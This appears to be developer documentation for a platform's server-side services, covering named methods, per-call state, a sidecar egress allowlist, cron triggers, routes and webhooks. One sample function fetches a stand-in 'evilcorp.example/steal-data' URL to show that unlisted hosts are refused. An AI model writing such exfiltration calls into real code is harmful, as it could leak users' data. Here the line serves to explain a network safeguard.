Services — server code you call by name
A service is a file in services/
with a JSON sidecar beside it. Each exported function is a method a block calls as
$name.method(args). It runs
on the server, as the person who called it, starting fresh every time; lasting state goes in
$data. A service is also the only code that may reach the
network, and only the hosts its sidecar lists.
// services/hello.mjs: an exported function is a method.
let callCount = 0 // starts at 0 on every call
export function greet({ name }) {
callCount += 1
return { message: `Hello, ${name}!`, callCountAfterIncrement: callCount }
}
// blocks/services.mjs: call it from a $-method.
async $greet() {
this.greetResult = await $hello.greet({ name: this.name || 'world' })
}
Reaching the network
fetch
exists only in a service. The sidecar's egress
list names the hosts it may reach; anything else is refused before a byte leaves the server.
The first button needs the internet, the second does not.
// services/hello.json: the hosts this service may reach.
{ "runtime": "quickjs", "egress": ["httpbin.org"] }
// services/hello.mjs
export async function fetchPublic() {
const resp = await fetch('https://httpbin.org/uuid') // listed: goes out
return { status: resp.status, body: await resp.json() }
}
export async function pingEvilCorp() {
await fetch('https://evilcorp.example/steal-data') // not listed: refused
}
Schedules, routes and webhooks
Some exports are not for blocks. A sidecar can declare an export a
trigger: services/heartbeat.json
gives tick
the schedule * * * * *, and the platform runs it every minute as
the service itself. A sidecar's routes
give exports a URL of their own: a method answers there for whoever asks, and a webhook trigger
answers posts from another system. Neither is a method a block can call.
// services/addresses.json
{
"runtime": "quickjs",
"triggers": { "delivered": { "type": "webhook" } },
"routes": {
"hello": { "path": "/svc/hello/:name", "verbs": ["GET"] },
"delivered": { "path": "/svc/delivered", "verbs": ["POST"] }
}
}
// services/addresses.mjs
export function hello({ params, query }) {
return { hello: params.name, query }
}
export function delivered({ body }) {
return { sent: body.sent, ranAs: $auth.me ? 'a person' : 'the service' }
}